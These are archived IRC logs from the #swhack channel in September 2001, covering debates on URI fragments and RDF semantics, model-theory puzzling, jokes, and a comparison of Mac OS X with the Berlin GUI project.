<AaronSw> Pfft! 16:08:41 <sbp> why is it incompatable with HTTP and the URI spec.? 16:08:46 <AaronSw> Fine, well just change the name to Deely Description Format and I won't care. 16:08:59 <AaronSw> But as long as you claim to be describing Resources, then you better well be. 16:09:01 <sbp> * sbp agrees 16:09:23 <sbp> Ah, so it's just a terminology thing. Well, that's easy to fix, and I very much agree that it should be 16:09:24 <AaronSw> It's incompatible with HTTP because fragments are not sent in an HTTP request. 16:09:51 <AaronSw> It's incompatible with URIs because URIs claim that they are not bound to resources and the fragment receives its semantics from the mime type in a data transfer 16:10:19 <sbp> But if the RDF fragments identify soem view of an RDF document (which they should do) then there isn't even a the... 16:10:54 <AaronSw> There isn't? What about RDF embedded in HTML... Shouldn't it receive semantics from XPointer? 16:11:03 <AaronSw> XPointer says it's a location-set or something 16:12:31 <sbp> sorry, got called away 16:12:53 <sbp> RDF in HTML: then if you have <a id="blargh">, "#blargh" identifes that deeley 16:13:35 <sbp> if you have <rdf:Description rdf:about="#blargh">, then you have some additional information about that (well, you don't really, and RDF-in-XHTML is nuts anyway) 16:13:57 <sbp> if you embed RDF in XHTML, you'll have to send it as a new MIME type 16:14:05 <AaronSw> "if you have <a id="blargh">, "#blargh" identifes that deeley" what deeley? the thing the contents of the <a> describe? 16:14:35 <sbp> whatever the HTML 4.01 specification (reference from the text/html RFC) says it identifies 16:14:52 <sbp> s/reference/referenced 16:19:34 <sbp> Hmm... I think you should go through some of DanC's mails on the subject: very insightful 16:19:43 <sbp> http://lists.w3.org/Archives/Public/uri/2001May/0020 16:19:56 <AaronSw> I have gone thru all of them. 16:20:04 <AaronSw> I've studied a lot on this subject, trust me. 16:20:07 <sbp> that's a response to Roy Fielding, who actually didn't understand the problem first of all 16:20:20 <AaronSw> Pfft! Roy understands this all very well. 16:20:27 <AaronSw> I consider him the foremost authority on the subject. 16:20:29 <sbp> So does Dan 16:20:33 <tav> hmz 16:20:43 <AaronSw> Roy wrote a dissertation on the subject, for goodness sake! 16:20:50 <AaronSw> He wrote the book! 16:20:54 <AaronSw> He wrote the spec! 16:20:57 <AaronSw> He wrote the software! 16:21:03 <sbp> No, he *co*-wrote the spec 16:21:19 <AaronSw> Fine. 16:21:23 <AaronSw> Point still stands. 16:21:32 <AaronSw> He wrote both specs, mind you. 16:21:36 <AaronSw> err, co-wrote 16:21:47 <AaronSw> Dan Connolly wrote... neither? 16:21:58 <AaronSw> err, co-wrote 16:22:04 <sbp> I'm not saying that he didn't understand URI architecture, I'm saying that he didn't understand initially what was being discussed in that thread. He must have read your email too fast or something 16:22:25 <sbp> so just because he didn't write the spec means that he knows nothing about URIs? 16:22:41 <sbp> writing specifications is no indication of how much or how little one knows about a subject 16:23:08 <AaronSw> What indicates to you that he didn't understand what was being discussed 16:23:09 <AaronSw> ? 16:23:32 <sbp> read http://lists.w3.org/Archives/Public/uri/2001May/0020 16:23:40 <AaronSw> I have! 16:23:41 <AaronSw> I just did! 16:23:50 <sbp> [[[ 16:23:51 <sbp> > > I don't think so; I think you're reading more into RFC2396 16:23:51 <sbp> > > than is there. (you're certainly not the first, and 16:23:51 <sbp> > > I don't expect you'll be the last.) 16:23:51 <sbp> > 16:23:51 <sbp> > No, that is correct. 16:23:53 <sbp> The interpretation he's asking about says that 16:23:55 <sbp> http://example.org/q#foo 16:23:57 <sbp> and 16:23:59 <sbp> http://example.org/q#bar 16:24:01 <sbp> identify the same resource. 16:24:03 <sbp> ]]] 16:24:05 <sbp> he had to point out what the question was 16:24:25 <AaronSw> Pff, you're reading too much into that. 16:24:39 <sbp> and you'd know all about that... :-) 16:24:40 <AaronSw> It's DanC's debate tactics again. 16:26:43 <tav> tav has quit 16:31:29 <AaronSw> Anyway, what's the problem with deprecating URI views? 16:31:58 <sbp> the problem is that loads of current software supports and implements it, and it works 16:32:25 <AaronSw> So? If we take it out, none of that software will break. 16:32:35 <AaronSw> Loads of current software doesn't support it. 16:32:51 <AaronSw> If RDF is to build on top of URIs and HTTP, it can't very well go around changing them! 16:33:21 <AaronSw> If we just want to make RDF 1.0 random loser language instead of the foundation for the Semantic Web, it'd be OK. But we're supposed to be making it the foundation of the Semantic Web! 16:34:15 <sbp> it works (the URI-views work... some other parts are messed up)! 16:35:21 <tav> tav has joined #swhack 16:36:13 <sbp> You keep saying that it's incompatable with URIs and HTTP, and yet I see no evidence for that 16:36:30 <sbp> * sbp has to run soon 16:37:08 <AaronSw> You can't ask an HTTP server for a URI-view. 16:37:18 <AaronSw> The URI spec doesn't give them any semantics. 16:37:41 <sbp> The URI spec doesn't define their semantics. So what? 16:38:02 <AaronSw> Well, they're not URIs. 16:38:07 <sbp> And so what if you can't ask a server for a URI view? Does that mean URI-views in total are broken 16:38:16 <sbp> OF course they're not URIs. So? 16:38:23 <AaronSw> Well, yes, insofar as they are part of web architecture. They're broken. 16:38:29 <AaronSw> They're not part of the Web. 16:38:38 <AaronSw> They're a screwed up legacy mistake that no one knows how to fix 16:38:46 <AaronSw> To be quite honest. 16:39:45 <sbp> I think that thwey do exactly what they were intended to do, and I don't know how you can call that broken 16:40:39 <AaronSw> What were they intended to do? 16:40:52 <sbp> point to a view of a document 16:41:12 <AaronSw> And how does that make sense in a web where not all resources are documents?! 16:41:28 <sbp> s/document/resource 16:41:37 <AaronSw> It made sense at the beginnings of the Web, when we just had documents sent over wires, but now it no longer fits. 16:41:41 <AaronSw> What's a view of a resource? 16:41:46 <AaronSw> It's meaningless. 16:41:49 <AaronSw> The URI spec says so. 16:41:58 <AaronSw> If not in so many words. 16:42:12 <sbp> "the URI spec does not ascribe a meaning to it" != "it is meaningless" 16:43:12 <AaronSw> But it does ascribe a meaning! 16:43:16 <AaronSw> Read the section of the URI spec. 16:45:21 <sbp> many apologies, I really do have to run now 16:45:30 <sbp> c'ya 16:46:29 <AaronSw> bye! 16:48:31 <sbp> sbp has quit 17:34:26 <xena> xena has joined #swhack 18:15:32 <xena> xena has quit 18:15:36 <sbp> sbp has joined #swhack 18:31:25 <sbp> sbp has quit 19:09:00 <sbp> sbp has joined #swhack 19:17:40 <sbp> Wow... 19:17:41 <sbp> [[[ 19:17:42 <sbp> At the heart of the Access US network is a Cisco GSR 12000 series router capable of transferring over 1.5 Gigs of data per second. That is 1,000 T-1 lines! 19:17:46 <sbp> ]]] - http://www.accessus.net/hostingcolocation/hosting.asp 19:22:18 <AaronSw> hi 19:22:37 <sbp> Hi 19:22:59 <AaronSw> What's Access US? 19:23:20 <AaronSw> Or rather, why are you interested in them? 19:24:33 <sbp> I was looking for a site on busprod.com, but it seems that all of the busprod.com sites have gone, and busprod.com itself redirects to Access US 19:47:35 <AaronSw> "We apologize for the inconvenience of this, but it is imperative that we ensure our network is not assisting in the propagation of this, or any, worm. All of us are part of a larger community, and it really isn't cool to infect your neighbors." , http://www.wired.com/news/business/0,1367,47037,00.html 19:47:41 <AaronSw> Heh! "Patrick being the king of QName doom" - mid:020101c14462$971f9e00$55ed93c3@y0r1d9 19:47:49 <AaronSw> Heh: "BTW, this isn't IRC; you might want to lurk before using such a l33t name." - http://wmf.editthispage.com/discuss/msgReader$5780 19:47:54 <AaronSw> /nick ==l333tman!== 19:48:06 <sbp> <sbp> l33t? 19:48:07 <sbp> <AaronSw> 3l337 == eleet = elite 19:48:07 <sbp> <AaronSw> 31337, rather 19:48:07 <sbp> <sbp> oh yeah. How ever did I miss that? :-) 19:48:07 <sbp> <AaronSw> I know! 19:48:07 <sbp> <sbp> :-) 19:48:09 <sbp> <AaronSw> You're apparently not very l33t 19:48:11 <sbp> <sbp> l33t? 19:48:13 <sbp> <AaronSw> 3l337 == l33t == eleet == elite 19:48:15 <sbp> <AaronSw> 31337, rather 19:48:17 <sbp> <sbp> oh yeah. How ever did I miss that? :-) 19:48:19 <sbp> <AaronSw> I know! 19:48:21 <sbp> <sbp> :-) 19:48:23 <sbp> <sbp> we're odd people 19:48:25 <sbp> <AaronSw> indeed. 19:48:27 <sbp> <sbp> Hmm... that's something I don't do often 19:48:29 <sbp> <AaronSw> Oops! I meant to paste all of this into swhack! 19:48:31 <sbp> <sbp> converting documents to HTML 3.2, changing <hr /> to <hr>. Scary 19:48:33 <sbp> <sbp> paste what? 19:48:35 <sbp> <sbp> Oh, heh! 19:48:37 <sbp> <sbp> Well, no one will know anyway, and you can always copy it over 19:48:39 <sbp> <AaronSw> Sorry guys! 19:48:53 <AaronSw> Well I'm not sorry for you guys. 19:49:59 <AaronSw> Heh! http://www.macaddict.com/osx/hacks/megaicon.html 19:50:42 <sbp> What IRC client do you use? Shadow? 19:50:50 <AaronSw> Snak 19:51:08 <sbp> lol: "is that a 928 pixel icon on your desktop, or are you just happy to see me?" 19:51:31 <AaronSw> * AaronSw tries the hack... watch out. ;-) 19:53:27 <sbp> :-) 19:53:45 <ADVAC0N> ADVAC0N has joined #swhack 19:54:01 <sbp> Hi Advacon 19:54:06 <ADVAC0N> hey 19:54:21 <AaronSw> Hmm, doesn't seem to have worked. 19:54:25 <sbp> Bummer 19:54:45 <Max109> Max109 has joined #swhack 19:54:55 <sbp> Blimey, where are all these people coming from? 19:55:16 <sbp> Anyway... 19:55:18 <sbp> Gotta run 19:55:21 <AaronSw> Bye 19:55:24 <sbp> c'ya 19:55:25 <ADVAC0N> why has subseven.mine.nu been down for so long? 19:55:36 <AaronSw> Just a note guy, this channel is about _hacking_ not cracking. 19:55:43 <AaronSw> s/guy/guys/ 19:55:55 <ADVAC0N> lol 19:56:07 <ADVAC0N> i was just wondering why its been down for so long 19:57:40 <ADVAC0N> ok cya 19:57:41 <ADVAC0N> ADVAC0N has left #swhack 19:58:26 <sbp> sbp has quit 20:13:05 <Max109> Max109 has quit 21:24:56 <AaronSw> * AaronSw plays some music *really loud*! 21:35:52 <sbp> sbp has joined #swhack 21:36:15 <AaronSw> hi 21:36:24 <sbp> Hi there 21:36:27 <xena> xena has joined #swhack 21:36:37 <sbp> xena! 21:41:33 <sbp> lol @ s/cracking/hacking 21:42:29 <AaronSw> heh 21:48:33 <sbp> He he he 21:48:33 <sbp> [[[ 21:48:34 <sbp> The Smartest Dog Ever 21:48:34 <sbp> As a butcher is shooing a dog from his shop, he sees $10 and a note in his mouth, reading: "10 lamb chops, please." 21:48:34 <sbp> Amazed, he takes the money, puts a bag of chops in the dog's mouth, and quickly closes the shop. He follows the dog and watches him wait for a green light, look both ways, and trot across the road to a bus stop. The dog checks the timetable and sits on the bench. When a bus arrives, he walks around to the front and looks at the number, then boards the bus. The butcher follows, dumbstruck. 21:48:37 <sbp> As the bus travels out into the suburbs, the dog takes in the scenery. After awhile he stands on his back paws to push the "stop" button, then the butcher follows him off. 21:48:40 <sbp> The dog runs up to a house and drops his bag on the stoop. He goes back down the path, takes a big run, and throws himself -Whap!- against the door. He does this again and again. No answer. So he jumps on a wall, walks around the garden, beats his head against a window, jumps off, and waits at the front door. A big guy opens it and starts cursing and pummeling the dog. 21:48:45 <sbp> 21:48:47 <sbp> The butcher runs up screams at the guy: "What the hell are you doing? This dog's a genius!" 21:48:49 <sbp> The owner responds, "Genius, my ass. It's the second time this week he's forgotten his key!" 21:48:53 <sbp> ]]] - http://www.thecomedylab.com/jokes/results/detail.asp?id=9620&sql=1&cat=26 21:50:14 <AaronSw> Heh! 21:53:49 <sbp> he he he, from the same site: "You have to stay in shape. My mother started walking five miles a day when she was 60. She's 97 now and we have no idea where she is." 21:54:51 <AaronSw> Heh. 21:56:32 <AaronSw> Gotta run. 21:57:29 <sbp> O.K., c'ya 21:57:45 <AaronSw> AaronSw has quit 22:43:37 <sbp> sbp has quit 23:03:24 <xena> xena has quit 23:44:13 <tav> tav has quit 23:45:40 <sbp> sbp has joined #swhack ������������������������������������2001-09-24.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000023472�07353741511�012023� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:59:47 <logster> logster has joined #swhack 00:59:47 <asimov.openprojects.net> topic is: At no time is freedom of speech more precious than when a man hits his thumb with a hammer. - Todat's fortune message | I have an urge not merely to be an architect but a builder too. - tav | Everything we do is art. - some native tribe 00:59:47 <asimov.openprojects.net> Users on #swhack: logster AaronSw sbp deltab tav` 01:00:21 <AaronSw> * AaronSw waves 01:00:23 <AaronSw> Pat Hayes: "We mathematicians do have a certain sense of style. For example, I almost always put on a bow tie before typing long formulae." 01:00:26 <AaronSw> Pat Hayes: "I ran the text through three spellcheckers but they didn't find the the the." 01:00:54 <sbp> lol 01:17:36 <AaronSw> Heh, love your critique of Quality Tips 01:18:05 <sbp> thanks :-) 02:01:52 <sbp> <xover> Never attribute to malice that which can be adequately explained by stupidity. 02:01:53 <sbp> <xover> And my favourite: "The road to Hell is paved with good intentions". 02:01:53 <sbp> <AaronSw> :-) 02:01:53 <sbp> <sbp> or ignorance. Or bufoonery. Or out and out arseholism 02:01:53 <sbp> <AaronSw> arseholism! How phenomic. 02:01:53 <sbp> <AaronSw> Log that into #swhack. 02:01:54 <sbp> <sbp> why, thank you :-) 02:01:56 <sbp> <xover> ROTFL! :-) 02:18:23 <tav> tav has joined #swhack 02:23:20 <AaronSw> *cough* Alzofratz *cough* 02:24:42 <sbp> lol! 02:24:59 <AaronSw> * AaronSw seeds Google with new words. 02:25:07 <AaronSw> http://infomesh.net/2001/phenomic/ 02:25:12 <AaronSw> phenomic 02:25:17 <AaronSw> phenomic, phenomic, phenomic 02:25:20 <sbp> He he he, spefegmonemy 02:26:16 <sbp> exispeciferous 02:26:26 <sbp> mendobendle 02:26:42 <sbp> appiplexy 02:26:54 <sbp> flipperoid 02:27:04 <sbp> doobiemehwotsit 02:27:37 <sbp> er... 02:27:38 <AaronSw> actolpolnetic 02:27:46 <sbp> yeah! 02:28:15 <sbp> that's the polbine 02:29:45 <sbp> Did you watch that exispeciferous program on T.V. last night? It had a mondobendle of excelent flipperoids, and an actolpolnetic appiplexy that would leave your doobiemehwotsit in a state of spefegmonemy. 02:30:03 <AaronSw> How actolpolnetic! 02:30:32 <sbp> Very. In fact, nearly sebelplotentic 02:31:36 <AaronSw> Incredible, just subnoctortoscropangular. 02:32:16 <sbp> Now, where did I put my exispeciferous subnoctortoscropangularoid? Ah, there it is 02:33:09 <sbp> I befergled it, and left it next to my potomactoid oblerfugerang 02:33:18 <sbp> splergle! 02:33:39 <xena> xena has joined #swhack 02:36:06 <sbp> Hmm... "agluberoid" is almost a transliterated derivative of "angularoid" 02:52:32 <AaronSw> Here's one for mysterylights: http://www.drudgereport.com/flash91.htm 02:54:33 <sbp> Nah 02:54:42 <sbp> Have you even read mysterylights.com? 02:56:58 <sbp> DABF01! Woo! 02:57:30 <AaronSw> I'm just joking with you, Paranormal Man. ;-) 02:59:23 <sbp> * sbp senses sarcastic hostility, and raises his umbrella 03:00:30 <AaronSw> Ooh, a reply from TimBL for you. 03:00:36 <sbp> Ooooooooh! 03:00:51 <AaronSw> "What would you suggets as a solution?" 03:01:13 <sbp> Oh man... I have a choice? 03:01:47 <AaronSw> * AaronSw knows what he would pick 03:01:54 <sbp> the first? 03:02:04 <AaronSw> You don't even need to. 03:02:17 <AaronSw> You can just look to see if the document author is using the terms and step around them if they are. 03:02:32 <AaronSw> Hmm, that might not work, tho... 03:02:38 <AaronSw> perhaps the first choice is better. 03:02:38 <sbp> No, because what if the author adds something to the document 03:02:43 <sbp> yeah 03:02:51 <AaronSw> Yeah, it doesn't work for long-running cwm instances. 03:03:21 <AaronSw> Or use bNodes with no corresponding URI -- that'd probably be best. 03:04:23 <sbp> Yes, it might be... Hmm... is there any example where that would not be satisfactory? I still prefer my women sober, and my resources labelled 03:06:10 <sbp> the latter suggestion may be best, in that case 03:07:05 <sbp> but you can't output that in XML RDF 03:07:05 <AaronSw> Perhaps we should have this discussion on #rdfig ? 03:07:10 <sbp> I agree... 03:07:31 <AaronSw> Why can't you ouput that in XML/RDF ? 03:07:37 <AaronSw> Just use bNodes. 03:07:42 <sbp> Because it doesn't have a URI! 03:07:52 <sbp> You can't use bNodes in XML/RDF 03:07:58 <AaronSw> Yes you can! 03:08:02 <AaronSw> Where do you think they came from? 03:08:04 <sbp> e.g. You can't have anonymous predicates 03:08:16 <AaronSw> Pff, are we dealing with them here? No. 03:09:08 <sbp> We're dealing with anonymous nodes that are stored in CWM, and the identifier for the root context of a document, as a URI rather than the "this" syntactic element/atom of Notation3 03:09:48 <AaronSw> Yeah, I understand that. Why would they be used as a predicate? 03:10:14 <sbp> :Dog [ daml:inverseOf rdf:type ] :Fido . 03:10:31 <AaronSw> What does that have to do with "this" ? 03:10:47 <sbp> er... sorry, I thought you were talking about something else :-) 03:11:01 <sbp> Shall we do this in #rdfig? 03:11:13 <AaronSw> Go right ahead. 03:12:06 <tav> you two.... 03:12:15 <sbp> what? 03:12:27 <sbp> us? 03:12:30 <sbp> :-) 03:13:27 <xena> xena has quit 03:42:08 <sbp> sbp has quit 07:06:44 <AaronSw> AaronSw has quit 07:06:44 <tav`> tav` has quit 07:06:44 <deltab> deltab has quit 07:06:44 <tav> tav has quit 07:10:14 <AaronSw> AaronSw has joined #swhack 07:10:14 <tav> tav has joined #swhack 07:10:14 <tav`> tav` has joined #swhack 07:10:14 <deltab> deltab has joined #swhack 10:47:54 <sbp> sbp has joined #swhack 10:51:22 <sbp> sbp has quit 12:08:02 <sbp> sbp has joined #swhack 13:15:52 <lilo> [GlobalNotice] Hi all. Services will be back in a moment, with the usual splits accompanying it. Please bear with us. 13:17:01 <ChanServ> ChanServ has changed the topic to: 13:17:14 <AaronSw> hi all 13:17:33 <sbp> Hi Aaron 13:37:48 <AaronSw> Is it any surprise that the National Association of Theatre owners spells out NATO? 13:38:03 <sbp> Not really 13:39:10 <AaronSw> And now they're donating all their proceeds for a day to the Red Cross. 13:39:14 <AaronSw> Go out and see movies! 13:40:05 <AaronSw> Seen on another channel: 13:40:10 <AaronSw> *** [deleted] has quit IRC (No ... this is baddd .. i hate it iiiiikkkkk " it is the postman") 13:41:02 <sbp> ? 13:41:25 <sbp> Am I missing something? 13:41:30 <AaronSw> What's that ? in reference to? 13:42:01 <AaronSw> Heh: 13:42:02 <AaronSw> "Mom is agitating for Irby photographs to be digitized and transferred to her. As soon as I get some Irby photos and movies on-line I'll upload them to Mojo Nation." 13:42:11 <AaronSw> He better hope his Mom can use MojoNation. ;-) 13:42:25 <AaronSw> ... 13:42:28 <AaronSw> "We're getting more than 400 downloads a day! It's a shame that, judging from the incoming e-mail from users, the vast majority of these people can't figure out how to make it work and immediately uninstall it." 13:42:41 <sbp> :-) 13:43:17 <AaronSw> Must be all those folks who want a decentralized swarming-based HTTP-interfaced Napster clone. 13:45:13 <AaronSw> Hmm, JTauber is on the OASIS TC for a DSML -- apparently LDAP in XML. 13:45:38 <sbp> Hmm... 13:45:45 <AaronSw> AaronSw has changed the topic to: Help some poor, starving, injured people in need....Go see a movie. 13:47:05 <AaronSw> Wow, Redfoot succumbed to Zawiniski's law pretty quickly -- it already has POP support! 13:48:33 <sbp> lol! 13:49:40 <AaronSw> Now if only they used decent HTML... 13:54:09 <sbp> sbp has quit 14:47:45 <Morbus> Morbus has joined #swhack 15:02:21 <sbp> sbp has joined #swhack 15:02:41 <Morbus> Morbus has quit 15:03:59 <Morbus> Morbus has joined #swhack 15:33:07 <sbp> sbp has quit 15:57:55 <Morbus> Morbus has quit 17:31:27 <Morbus> Morbus has joined #swhack 17:31:30 <Morbus> who loves perl? 17:31:41 <Morbus> i need a team of people to duplicate a piece of software in 10 days? <G> 17:37:57 <Morbus> Morbus has left #swhack 17:50:08 <AaronSw> I think Morbus has the wrong channel for that. ;-) 17:50:22 <tav> heh 19:45:56 <sbp> sbp has joined #swhack 19:46:36 <AaronSw> Well, would you look at that. 19:46:46 <sbp> What? 19:46:57 <AaronSw> You. 19:47:05 <AaronSw> * AaronSw is feeling somewhat sluggish today. 19:47:06 <sbp> Oh yes; me 19:47:11 <AaronSw> I think I need to lie down or something. 19:47:20 <sbp> You do that 19:48:00 <AaronSw> Nah, takes too much energy. 19:49:53 <AaronSw> Man, my HTTP archives take up 1.6 GB. I need to implement the compression soon... 19:50:16 <AaronSw> Ahh, that's probably why I was feeling sluggish: I was cleaning out my HD. 19:50:37 <AaronSw> Now I can be spritely. ;-) 19:50:41 <AaronSw> ... 19:50:49 <AaronSw> Why does bit literacy == ignoring information? 19:51:06 <AaronSw> What'd you think of "Excess URI schemes considered harmful"? 19:51:31 <sbp> Heh, just got it 19:51:53 <AaronSw> Do you think I should go to P2PCon 2? 19:52:21 <sbp> He obviously hasn't seen http://infomesh.net/2001/09/urischemes/ yet 19:52:58 <AaronSw> :-) 19:53:01 <AaronSw> Have you chumped it? 19:53:13 <sbp> nope 19:53:34 <AaronSw> Perhaps you should, while he's around. 19:53:52 <AaronSw> He just said a bunch a stuff about the XML Infoset in RDF. 19:55:23 <sbp> I'd better run 19:55:25 <sbp> c'ya! 19:55:29 <sbp> sbp has quit 20:48:13 <AaronSw> I learned a new acronym today: WOLOG 20:48:23 <AaronSw> Without Loss Of Generality 22:05:59 <Morbus> Morbus has joined #swhack 22:17:21 <sbp> sbp has joined #swhack 22:17:51 <AaronSw> hi 22:18:01 <sbp> Hi there 22:29:51 <sbp> Are you feeling any better? 22:30:06 <AaronSw> Yep, much better, thank you. 22:30:11 <AaronSw> Still have a sore throat, tho 22:30:44 <sbp> I know: it's coming through in your writing 22:31:04 <AaronSw> :-) 22:41:25 <sbp> woo! http://www.google.com/search?hl=en&q=%22persistence+policy%22 22:42:05 <sbp> cool? 22:42:22 <AaronSw> cool! 22:47:58 <Morbus> Morbus has left #swhack 23:33:57 <tav> can you hear me? 23:34:09 <AaronSw> Some lag on your end. 23:34:40 <sbp> tav: pardon? 23:34:54 <AaronSw> It seems there's some trouble with serious lag on tav's end. 23:35:28 <tav`> hmz 23:35:37 <tav`> i got pings of 20 seconds in esp ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-25.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000043022�07354214565�012022� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:08:45 <logster> logster has joined #swhack 00:08:45 <benford.openprojects.net> topic is: Help some poor, starving, injured people in need....Go see a movie. 00:08:45 <benford.openprojects.net> Users on #swhack: logster deltab tav` tav AaronSw 00:40:50 <Morbus> Morbus has joined #swhack 00:51:27 <sbp> sbp has joined #swhack 00:51:53 <sbp> I think I'm getting the hang of the MT 00:52:25 <sbp> I wondered why a b b . is false in the example 00:52:39 <sbp> and I figured:- 00:53:31 <Morbus> Morbus has quit 00:55:04 <sbp> I( a b b .) = true if <I(a),I(b)>, i.e.<1,2>, is in IEXT(I(b)); i.e. if <1,2> is in IEXT(1), which is {<1,2>,<2,1>}, but does contain <1,1> and so I( a b b .) is false . 00:55:15 <sbp> s/does/doesn't 00:55:29 <sbp> s/<1,2>/<1,1> 00:55:48 <sbp> yeah... that's right:- 00:56:17 <sbp> I( a b b .) = true if <I(a),I(b)>, i.e.<1,1>, is in IEXT(I(b)); i.e. if <1,1> is in IEXT(1), which is {<1,2>,<2,1>}, but doesn't contain <1,1> and so I( a b b .) is false . 00:57:03 <sbp> IEXT seems to be the mapping from a predicate to a set of <s,o> pairs 01:14:22 <Morbus> Morbus has joined #swhack 01:17:05 <sbp> Aaron? 01:17:09 <AaronSw> yes? 01:17:53 <sbp> Just imagine IEXT(IP) 01:18:24 <sbp> if I gather correctly, it's the set of all <s,o> thingies 01:18:26 <tav`> tav` has quit 01:18:46 <sbp> i.e. every subject and object combination that RDF can have! 01:18:54 <AaronSw> Hmm 01:19:12 <AaronSw> I thought it was just for the current model. 01:19:21 <tav> tav has quit 01:19:48 <sbp> er... yeah, you're right 01:19:59 <sbp> * sbp had suddently limited RDF to this MT 01:21:01 <sbp> that's still a lot of thingies, though 01:22:06 <tav> tav has joined #swhack 01:23:14 <tav`> tav` has joined #swhack 01:26:53 <tav`> tav` has quit 01:28:16 <lilo> [GlobalNotice] Hi all. We'll be restarting services in a moment. There will be the usual accompanying splits. Thanks in advance for your understanding. 01:34:40 <ChanServ> ChanServ has changed the topic to: 01:41:29 <AaronSw> AaronSw has changed the topic to: When he says he's going to take over the world, he's not kidding. 01:41:48 <sbp> who? 01:42:02 <sbp> sbp has changed the topic to: When tav says tav's going to take over the world, tav's not kidding. 01:42:56 <Morbus> hey, sbp. how's life? 01:44:06 <sbp> Same as usual 01:44:07 <sbp> You? 01:44:23 <Morbus> eh. getting by. trying to create an open source version of bookmarksync.com 01:44:36 <Morbus> which i depend on dearly, but which has now turned to a pay site 01:44:38 <sbp> Good luck 01:44:54 <sbp> Ugh... similar thing happened to thecounter.com 01:45:14 <Morbus> really/ you can do counters in one line of ssi ;) 01:45:28 <deltab> deltab has quit 01:45:32 <Morbus> you may want to let theendoffree.com know about thecounter.com 01:45:50 <sbp> I use ASP now 01:45:52 <AaronSw> tav, wtf is wrong with your IRC server? 01:46:22 <AaronSw> ouch, it took down deltab too 02:26:13 <sbp> Heh: http://www.dilbert.com/comics/dilbert/archive/dilbert-20010924.html 02:27:06 <AaronSw> :-) 02:27:14 <AaronSw> * AaronSw has been in that situation more than once. 02:27:20 <AaronSw> Stupid @Home tech support! 02:27:25 <sbp> Yeah... 02:27:44 <Morbus> Morbus has left #swhack 02:35:27 <Morbus> Morbus has joined #swhack 02:41:10 <AaronSw> Yuck! http://www.securityfocus.com/news/257 02:42:55 <sbp> Hmm... they really should say "crackers" 02:43:30 <AaronSw> that's the least of their problems... 03:00:08 <deltab> deltab has joined #swhack 03:21:31 <Morbus> Morbus has left #swhack 04:00:35 <AaronSw> Ian Jacobs: "When I'm not editing specs, I like to swing dance and write comedy." 04:00:38 <AaronSw> What a guy! 04:00:55 <sbp> :-) 04:01:31 <AaronSw> Perhaps he should put more of the comedy into the specs. 04:01:50 <sbp> and vice versa? 04:02:48 <AaronSw> More specs into the swing dancing? 04:03:33 <sbp> no, into the comedy 04:04:26 <AaronSw> ComedyML? 04:32:45 <sbp> sbp has quit 12:14:34 <Morbus> Morbus has joined #swhack 12:36:35 <Morbus> aaron, heard of kdx? 12:36:43 <Morbus> hotline clone by the true hinkley ;) 12:41:58 <Morbus> Morbus has quit 12:50:18 <Morbus> Morbus has joined #swhack 13:09:53 <Morbus> Morbus has quit 13:26:25 <AaronSw> nope, haven't heard of it 13:54:23 <AaronSw> [deleted] has quit IRC ("It's not easy to juggle a pregnant wife and a troubled child, but somehow I managed to fit in eight hours of TV a day.") 14:58:22 <tav> tav has quit 15:07:36 <tav> tav has joined #swhack 15:19:17 <tav`> tav` has joined #swhack 15:19:57 <tav`> heh @ topic 15:20:14 <tav`> i thought i always made it perfectly clear that i was serious about it? 16:04:52 <sbp> sbp has joined #swhack 16:24:39 <sbp> sbp has quit 18:15:54 <AaronSw> Perfectly clear, tav? I'm not so sure. 18:16:14 <AaronSw> There are a lot of people who say it in a joking way, so you have to be awfully clear if you're serious. 18:43:32 <tav`> heh 18:44:11 <tav`> AaronSw: what can i do to make it more clear? 18:44:32 <AaronSw> Say, "I'm not kidding about that, I'm perfectly serious." 18:44:48 <AaronSw> Holy cow, Mac OS X 10.1 is going to f***ing rock! 18:44:49 <AaronSw> http://www.apple.com/applescript/macosx/ascript_studio/ 18:45:31 <AaronSw> Go AppleScript team, go! 18:45:44 <AaronSw> Now I just need to get them to support Python, too. 18:46:01 <tav`> hmz, applescript is proprietary? 18:46:19 <AaronSw> What does that mean? 18:46:30 <AaronSw> The source code is closed, yes. 18:46:33 <tav`> as in, some closed source.. 18:46:36 <tav`> right 18:47:08 <tav`> well, i'm gonna make python RAD modules for berlin 18:47:20 <AaronSw> Berlin? 18:47:26 <AaronSw> The conference you mean? 18:47:29 <tav`> and it'll own your pitiful mac os x! 18:47:36 <tav`> berlin-consortium.org 18:47:55 <AaronSw> We'll see about that. 18:48:29 <tav`> http://berlin-consortium.org/images/screenshots/clock-shot.png 18:48:39 <tav`> look at that and tell me, mac can look nicer 18:48:55 <AaronSw> Umm, yeah. 18:48:59 <AaronSw> That thing is ugly. 18:49:28 <tav`> show me a mac equivalent 18:49:38 <AaronSw> Umm, Mac clock. 18:49:44 <AaronSw> Or do you mean the Python bit? 18:49:46 <AaronSw> " This means that objects suchs as Graphics can be implemented out-of-process, like this Clock which is written entirely in Python by implementing the Graphic interface." 18:50:00 <tav`> screenshot? 18:50:19 <tav`> well, both, the ease of development and asthetic qualities (sp?) 18:51:49 <AaronSw> hold on a sec... 18:51:50 <AaronSw> Oh geez, i forgot! 10.1 comes out today! 18:51:50 <AaronSw> Wooohoo! 18:55:46 <AaronSw> Can you read TIFFs? 18:57:40 <AaronSw> tav? 18:59:52 <tav`> believe so 18:59:57 <tav`> jpg and upload? 19:00:03 <tav`> soz, going out in a sec 19:00:41 <AaronSw> http://blogspace.com/random/clock.png 19:03:04 <AaronSw> (for tav) 19:03:06 <tav`> hmz 19:03:07 <AaronSw> you can do analog too 19:03:07 <tav`> is it me or is that top 1/8th of a clock? 19:03:07 <AaronSw> try reloading 19:04:05 <tav`> it's nice 19:04:08 <tav`> but not as nice imo 19:04:31 <AaronSw> hmm 19:04:56 <AaronSw> I guess my sense of style coincides better with Jobs than with you, then 19:06:18 <tav`> hmz, wait till you see my stuff, the whole world shalt drool over it! 19:06:50 <AaronSw> heh 19:07:07 <tav`> and why can't microsoft release something as nice as entourage for the PC? 19:07:19 <AaronSw> because the mac inspires good design 19:07:28 <AaronSw> the pc's design sucks 19:07:51 <tav`> hmz 19:08:36 <tav`> so, the hardware encourages different form of software? 19:08:51 <AaronSw> not the hardware, the operating system 19:08:59 <tav`> ah 